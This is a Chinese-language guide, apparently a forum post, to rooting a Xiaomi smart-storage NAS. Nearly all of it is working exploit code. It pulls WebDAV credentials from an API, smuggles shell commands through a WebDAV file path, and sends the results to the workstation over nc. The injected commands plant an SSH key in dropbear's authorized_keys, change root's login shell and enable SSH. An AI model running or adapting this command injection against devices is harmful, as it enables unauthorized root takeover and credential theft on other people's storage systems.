# 小米智能存储 NAS 开启 root SSH
## 1. 获取证书文件
先登录一次“小米智能存储”客户端,让客户端生成证书。
### macOS
证书通常位于:
小米智能存储.app/Contents/Resources/extraResources/cert/
### Windows
证书通常位于:
%LOCALAPPDATA%\minasCert\
将下面三个文件复制到一个单独目录:
```
<UID>_<SERIAL>_cert.pem
<UID>_<SERIAL>_private_key.pem
ca_chain.pem
```
## 2. 进入证书目录并初始化变量
进入刚才复制证书的目录:
```
cd '<证书目录>'
```
然后:
```
CERT=$(find . -maxdepth 1 -type f -name '*_cert.pem' -print -quit)
KEY=$(find . -maxdepth 1 -type f -name '*_private_key.pem' -print -quit)
CA=$(find . -maxdepth 1 -type f -name 'ca_chain.pem' -print -quit)
chmod 600 "$KEY"
```
定义
```
NAS_IP='<NAS局域网IP>'
WORKSTATION_IP='<工作机局域网IP>'
```
## 3. 获取 NAS 证书域名
客户端证书的 CN 与 NAS 域名结构相近,但最后一段可能不同。下面先生成候选域名,再从 NAS 实际返回的服务器证书中读取 CN:
```
CLIENT_CN=$(
openssl x509 \
-in "$CERT" \
-noout \
-subject \
-nameopt RFC2253 |
sed -n 's/^subject=.*CN=\([^,]*\).*$/\1/p'
)
CN_CANDIDATE="${CLIENT_CN%.*}.0"
CN=$(
openssl s_client \
-connect "$NAS_IP:443" \
-servername "$CN_CANDIDATE" \
-cert "$CERT" \
-key "$KEY" \
-CAfile "$CA" \
</dev/null 2>/dev/null |
openssl x509 \
-noout \
-subject \
-nameopt RFC2253 |
sed -n 's/^subject=.*CN=\([^,]*\).*$/\1/p'
)
if [ -z "$CN" ]; then
echo '无法从 NAS 获取服务器证书 CN'
exit 1
fi
printf 'CLIENT_CN=%s\nNAS_CN=%s\n' "$CLIENT_CN" "$CN"
```
## 4. 获取 WebDAV 凭据
执行:
```
API_JSON=$(
curl --silent --show-error \
--cacert "$CA" \
--cert "$CERT" \
--key "$KEY" \
--resolve "$CN:443:$NAS_IP" \
-H 'Content-Type: application/json' \
-X POST \
-d '{}' \
"https://$CN/cgi-bin/luci/filemgr/get_pool_info"
)
WEBDAV_USER=$(
printf '%s' "$API_JSON" |
jq -r '[.. | objects | .username? // empty][0] // empty'
)
WEBDAV_PASSWORD=$(
printf '%s' "$API_JSON" |
jq -r '[.. | objects | .password? // empty][0] // empty'
)
WEBDAV_PORT=$(
printf '%s' "$API_JSON" |
jq -r '[.. | objects | .port? // empty][0] // empty'
)
WEBDAV_PORT=${WEBDAV_PORT:-5000}
CREDS="${WEBDAV_USER}:${WEBDAV_PASSWORD}"
NAS_USER="$WEBDAV_USER"
```
## 5. 开启结果监听器
另开一个终端,执行:
```
nc -lk 8124
```
后面的 NAS 命令执行结果会显示在这个终端中。
## 6. 定义注入函数
回到保存变量的原终端,执行:
```
inject() {
local remote_cmd="$1"
local payload
payload=$(
jq -nr \
--arg v "__inject\";${remote_cmd};\"__.ts" \
'$v|@uri'
)
curl --silent --show-error \
--globoff \
--path-as-is \
--cacert "$CA" \
--cert "$CERT" \
--key "$KEY" \
--resolve "$CN:$WEBDAV_PORT:$NAS_IP" \
--user "$CREDS" \
-o /dev/null \
-w 'HTTP=%{http_code} time=%{time_total}s\n' \
"https://$CN:$WEBDAV_PORT/pool0/video/$payload"
}
```
注入命令中不能直接出现 /,因此远端路径使用 printf '\57...' 构造。
## 7. 回显测试
原始 NAS 命令:
```
echo INJECTION_OK | nc <工作机IP> 8124
```
实际执行:
```
inject "echo INJECTION_OK | nc $WORKSTATION_IP 8124"
```
监听器应看到:
INJECTION_OK
## 8. 生成并上传 SSH 公钥
上传公钥(替换 <公钥文件> 为实际文件名):
```
curl --silent --show-error \
--cacert "$CA" \
--cert "$CERT" \
--key "$KEY" \
--resolve "$CN:$WEBDAV_PORT:$NAS_IP" \
--user "$CREDS" \
-T '<公钥文件>.pub' \
-w 'PUT: %{http_code}\n' \
-o /dev/null \
"https://$CN:$WEBDAV_PORT/pool0/data/authorized_keys"
```
预期:
PUT: 204
## 9. 写入 Dropbear authorized_keys
对应的原始 NAS 命令大致是:
```
cat /home/<NAS_USER>/pool0/data/authorized_keys \
>> /etc/dropbear/authorized_keys
chown root:root /etc/dropbear/authorized_keys
chmod 600 /etc/dropbear/authorized_keys
```
实际执行:
```
REMOTE_CMD="DIR=\$(printf '\\57etc\\57dropbear');\
S=\$(printf '\\57home\\57${NAS_USER}\\57pool0\\57data\\57authorized_keys');\
D=\$(printf '\\57etc\\57dropbear\\57authorized_keys');\
{ \
if [ ! -f \"\$S\" ];then \
echo SOURCE_MISSING; \
else \
mkdir -p \"\$DIR\"; \
touch \"\$D\"; \
chown root:root \"\$D\"; \
chmod 600 \"\$D\"; \
if grep -qxF -f \"\$S\" \"\$D\";then \
echo KEY_ALREADY_PRESENT; \
elif cat \"\$S\" >> \"\$D\";then \
echo KEY_APPENDED; \
else \
echo KEY_APPEND_FAILED; \
fi; \
fi; \
} 2>&1 | nc $WORKSTATION_IP 8124"
inject "$REMOTE_CMD"
```
监听器预期看到:
KEY_APPENDED
或:
KEY_ALREADY_PRESENT
如果看到 SOURCE_MISSING,说明 API 返回的用户名与 /home 下的系统目录名不一致,需要先确认实际目录名。
## 10. 备份配置并修改 root shell
对应的原始 NAS 命令大致是:
```
cp -p /etc/passwd /home/<NAS_USER>/pool0/data/passwd.bak-pre-ssh
cp -p /etc/shells /home/<NAS_USER>/pool0/data/shells.bak-pre-ssh
grep -qxF /bin/ash /etc/shells || echo /bin/ash >> /etc/shells
usermod -s /bin/ash root
```
实际执行:
```
REMOTE_CMD="P=\$(printf '\\57etc\\57passwd');\
PB=\$(printf '\\57home\\57${NAS_USER}\\57pool0\\57data\\57passwd.bak-pre-ssh');\
E=\$(printf '\\57etc\\57shells');\
EB=\$(printf '\\57home\\57${NAS_USER}\\57pool0\\57data\\57shells.bak-pre-ssh');\
SH=\$(printf '\\57bin\\57ash');\
{ \
OK=1; \
[ -e \"\$PB\" ] || cp -p \"\$P\" \"\$PB\" || OK=0; \
[ -e \"\$EB\" ] || cp -p \"\$E\" \"\$EB\" || OK=0; \
if [ \"\$OK\" -ne 1 ];then \
echo BACKUP_FAILED; \
elif [ ! -x \"\$SH\" ];then \
echo ASH_NOT_FOUND; \
else \
grep -qxF \"\$SH\" \"\$E\" || echo \"\$SH\" >> \"\$E\"; \
if usermod -s \"\$SH\" root;then \
getent passwd root; \
echo SHELL_OK; \
else \
echo SHELL_CHANGE_FAILED; \
fi; \
fi; \
} 2>&1 | nc $WORKSTATION_IP 8124"
inject "$REMOTE_CMD"
```
监听器预期看到:
root:x:0:0:root:/root:/bin/ash
SHELL_OK
## 11. 启用 SSH 服务
对应的原始 NAS 命令:
```
systemctl enable dropbear.socket
systemctl restart dropbear.socket
systemctl is-enabled dropbear.socket
systemctl is-active dropbear.socket
```
实际执行:
```
REMOTE_CMD="{ \
systemctl enable dropbear.socket; \
systemctl restart dropbear.socket; \
echo ===STATUS===; \
systemctl is-enabled dropbear.socket; \
systemctl is-active dropbear.socket; \
} 2>&1 | nc $WORKSTATION_IP 8124"
inject "$REMOTE_CMD"
```
监听器预期看到:
===STATUS===
enabled
active
## 12. SSH 登录验证
```
ssh \
-o StrictHostKeyChecking=accept-new \
-i '<私钥路径>' \
"root@$NAS_IP"
```
登录后执行:
```
id
```
预期类似:
```
uid=0(root) gid=0(root)
```
没有回复内容